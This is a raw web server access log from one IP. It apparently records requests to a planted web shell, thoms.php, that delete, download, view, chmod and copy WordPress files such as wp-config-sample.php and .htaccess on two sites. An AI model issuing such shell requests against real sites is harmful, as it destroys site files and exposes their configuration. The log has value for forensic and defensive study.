45.135.193.11 - - [11/Sep/2026:23:15:12 -0400] "GET /thoms.php?dl=mah.php&p=bestzyx.com.tw HTTP/1.1" 200 17869 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:12 -0400] "GET /thoms.php?del=wp-config-sample.php&p=bestzyx.com.tw HTTP/1.1" 200 17869 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:12 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-config-sample.php&p=bestzyx.com.tw HTTP/1.1" 200 11473 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:12 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-cron.php&p=bestzyx.com.tw HTTP/1.1" 200 11466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:12 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-settings.php&p=bestzyx.com.tw HTTP/1.1" 200 11468 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:12 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 200 13417 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:12 -0400] "GET /thoms.php?chmod=wp-config-sample.php&p=bestzyx.com.tw HTTP/1.1" 200 11486 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:12 -0400] "GET /thoms.php?del=error_log&p=bestzyx.com.tw HTTP/1.1" 200 17868 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:12 -0400] "GET /thoms.php?p=bestzyx.com.tw&view=.htaccess HTTP/1.1" 200 12732 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:12 -0400] "GET /thoms.php?dl=filefuns.php&p=bestzyx.com.tw HTTP/1.1" 200 17869 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:12 -0400] "GET /thoms.php?del=index.php&p=bestzyx.com.tw HTTP/1.1" 200 17868 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:12 -0400] "GET /thoms.php?dl=index.php&p=bestzyx.com.tw HTTP/1.1" 200 17869 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:12 -0400] "GET /thoms.php?del=mah.php&p=bestzyx.com.tw HTTP/1.1" 200 17868 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:12 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2F.well-known&p= HTTP/1.1" 200 12189 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:12 -0400] "GET /thoms.php?chmod=.htaccess&p=bestzyx.com.tw HTTP/1.1" 200 11491 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:12 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Findex.php&p=bestzyx.com.tw HTTP/1.1" 200 11463 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:12 -0400] "GET /thoms.php?chmod=wp-mail.php&p=bestzyx.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:12 -0400] "GET /thoms.php?dl=wp-blog-header.php&p=bestzyx.com.tw HTTP/1.1" 200 17868 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:13 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-content&p= HTTP/1.1" 200 12188 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:12 -0400] "GET /thoms.php?del=wp-settings.php&p=bestzyx.com.tw HTTP/1.1" 200 17867 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:13 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-mail.php&p=bestzyx.com.tw HTTP/1.1" 200 11466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:13 -0400] "GET /thoms.php?dl=wp-config-sample.php&p=bestzyx.com.tw HTTP/1.1" 200 17868 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:13 -0400] "GET /thoms.php?dl=wp-settings.php&p=bestzyx.com.tw HTTP/1.1" 200 17867 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:13 -0400] "GET /thoms.php?p=bestzyx.com.tw&view=wp-comments-post.php HTTP/1.1" 200 13016 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:13 -0400] "GET /thoms.php?chmod=wp-links-opml.php&p=bestzyx.com.tw HTTP/1.1" 200 11486 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:13 -0400] "GET /thoms.php?del=locoy.php&p=bestzyx.com.tw HTTP/1.1" 200 17867 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:13 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fmah.php&p=bestzyx.com.tw HTTP/1.1" 200 11464 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:13 -0400] "GET /bestzyx.com.tw HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:13 -0400] "GET /thoms.php?del=optimized-validator&p=bestzyx.com.tw HTTP/1.1" 200 17870 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:13 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 13986 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:13 -0400] "GET /thoms.php?chmod=wp-includes&p=bestzyx.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:13 -0400] "GET /thoms.php?chmod=wp-signup.php&p=bestzyx.com.tw HTTP/1.1" 200 11484 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:13 -0400] "GET /bestzyx.com.tw/ HTTP/1.1" 404 10462 "https://163.245.207.76/bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:13 -0400] "GET /thoms.php?chmod=wp-blog-header.php&p=bestzyx.com.tw HTTP/1.1" 200 11496 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:13 -0400] "GET /thoms.php?del=wp-activate.php&p=bestzyx.com.tw HTTP/1.1" 200 17868 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:13 -0400] "GET /thoms.php?del=wp-blog-header.php&p=bestzyx.com.tw HTTP/1.1" 200 17869 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:13 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-blog-header.php&p=bestzyx.com.tw HTTP/1.1" 200 11483 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:13 -0400] "GET /thoms.php?p=bestzyx.com.tw&view=wp-links-opml.php HTTP/1.1" 200 13104 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:13 -0400] "GET /thoms.php?chmod=wp-trackback.php&p=bestzyx.com.tw HTTP/1.1" 200 11484 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:13 -0400] "GET /thoms.php?del=roster-vendor&p=bestzyx.com.tw HTTP/1.1" 200 17871 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:13 -0400] "GET /thoms.php?chmod=license.txt&p=bestzyx.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:13 -0400] "GET /thoms.php?dl=readme.html&p=bestzyx.com.tw HTTP/1.1" 200 17871 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:13 -0400] "GET /thoms.php?p=bestzyx.com.tw&view=wp-blog-header.php HTTP/1.1" 200 12038 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:13 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-login.php&p=bestzyx.com.tw HTTP/1.1" 200 11467 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:13 -0400] "GET /thoms.php?p=bestzyx.com.tw&view=xmlrpc.php HTTP/1.1" 200 13372 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:13 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fxmlrpc.php&p=bestzyx.com.tw HTTP/1.1" 200 11465 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:13 -0400] "GET /thoms.php?p=bestzyx.com.tw&upload= HTTP/1.1" 200 12151 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:13 -0400] "GET /thoms.php?chmod=.well-known&p=bestzyx.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:13 -0400] "GET /thoms.php?chmod=index.php&p=bestzyx.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:13 -0400] "GET /thoms.php?p=bestzyx.com.tw&view=wp-settings.php HTTP/1.1" 200 19462 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:13 -0400] "GET /thoms.php?del=upgrade&p=bestzyx.com.tw HTTP/1.1" 200 17872 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:14 -0400] "GET /thoms.php?p=bestzyx.com.tw&view=mah.php HTTP/1.1" 200 11802 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:13 -0400] "GET /thoms.php?dl=error_log&p=bestzyx.com.tw HTTP/1.1" 200 17869 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:14 -0400] "GET /thoms.php?del=readme.html&p=bestzyx.com.tw HTTP/1.1" 200 17860 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:14 -0400] "GET /thoms.php?chmod=thoms.php&p=bestzyx.com.tw HTTP/1.1" 200 11475 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:14 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-admin&p= HTTP/1.1" 200 12187 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:14 -0400] "GET /thoms.php?dl=thoms.php&p=bestzyx.com.tw HTTP/1.1" 200 17870 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:14 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Ffilefuns.php&p=bestzyx.com.tw HTTP/1.1" 200 11466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:14 -0400] "GET /thoms.php?p=bestzyx.com.tw&view=wp-cron.php HTTP/1.1" 200 14170 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:14 -0400] "GET /thoms.php?chmod=xmlrpc.php&p=bestzyx.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:14 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fupgrade&p= HTTP/1.1" 200 12200 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:14 -0400] "GET /thoms.php?p=bestzyx.com.tw&view=license.txt HTTP/1.1" 200 20074 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:14 -0400] "GET /thoms.php?chmod=wp-cron.php&p=bestzyx.com.tw HTTP/1.1" 200 11484 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:14 -0400] "GET /thoms.php?p=bestzyx.com.tw&view=wp-signup.php HTTP/1.1" 200 22504 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:14 -0400] "GET /thoms.php?p=bestzyx.com.tw&view=wp-trackback.php HTTP/1.1" 200 14099 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:14 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 13277 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:14 -0400] "GET /thoms.php?p=bestzyx.com.tw&view=filefuns.php HTTP/1.1" 200 14697 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:14 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:14 -0400] "GET /thoms.php?del=thoms.php&p=bestzyx.com.tw HTTP/1.1" 200 17871 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:14 -0400] "GET /thoms.php?del=wp-links-opml.php&p=bestzyx.com.tw HTTP/1.1" 200 17869 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:14 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-links-opml.php&p=bestzyx.com.tw HTTP/1.1" 200 11471 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:14 -0400] "GET /thoms.php?p=bestzyx.com.tw&view=wp-login.php HTTP/1.1" 200 29025 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:14 -0400] "GET /thoms.php?del=cgi-bin&p=bestzyx.com.tw HTTP/1.1" 200 17870 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:14 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Fwp-content&p= HTTP/1.1" 200 12187 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:14 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Flicense.txt&p=bodbooks.com.tw HTTP/1.1" 200 11494 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:14 -0400] "GET /thoms.php?p=bodbooks.com.tw&view=locoy.php HTTP/1.1" 200 12959 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:14 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Fwp-cron.php&p=bodbooks.com.tw HTTP/1.1" 200 11496 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:14 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Fwp-load.php&p=bodbooks.com.tw HTTP/1.1" 200 11492 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:14 -0400] "GET /thoms.php?del=wp-config-sample.php&p=bodbooks.com.tw HTTP/1.1" 200 17552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:14 -0400] "GET /thoms.php?chmod=generated-history&p=bodbooks.com.tw HTTP/1.1" 200 11484 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:14 -0400] "GET /thoms.php?del=partial-temp&p=bodbooks.com.tw HTTP/1.1" 200 17558 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:14 -0400] "GET /thoms.php?chmod=wp-activate.php&p=bodbooks.com.tw HTTP/1.1" 200 11485 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:14 -0400] "GET /thoms.php?dl=mah.php&p=bodbooks.com.tw HTTP/1.1" 200 17557 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:14 -0400] "GET /thoms.php?p=bodbooks.com.tw&view=wp-login.php HTTP/1.1" 200 29024 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:15 -0400] "GET /thoms.php?chmod=wp-content&p=bodbooks.com.tw HTTP/1.1" 200 11487 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:15 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Fgenerated-history&p= HTTP/1.1" 200 12199 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:15 -0400] "GET /thoms.php?p=bodbooks.com.tw&view=wp-activate.php HTTP/1.1" 200 14812 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:15 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Fwp-comments-post.php&p=bodbooks.com.tw HTTP/1.1" 200 11509 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:15 -0400] "GET /thoms.php?p=bodbooks.com.tw&view=wp-cron.php HTTP/1.1" 200 14170 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:15 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Fwp-trackback.php&p=bodbooks.com.tw HTTP/1.1" 200 11498 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:15 -0400] "GET /thoms.php?copy=bodbooks.com.tw%2Fxmlrpc.php&p=bodbooks.com.tw HTTP/1.1" 200 11496 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:15 -0400] "GET /thoms.php?p=bodbooks.com.tw%2F.well-known HTTP/1.1" 200 12567 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:15 -0400] "GET /thoms.php?chmod=thoms.php&p=bodbooks.com.tw HTTP/1.1" 200 11485 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:15 -0400] "GET /thoms.php?del=wp-includes&p=bodbooks.com.tw HTTP/1.1" 200 17559 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:15 -0400] "GET /thoms.php?chmod=.well-known&p=bodbooks.com.tw HTTP/1.1" 200 11492 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
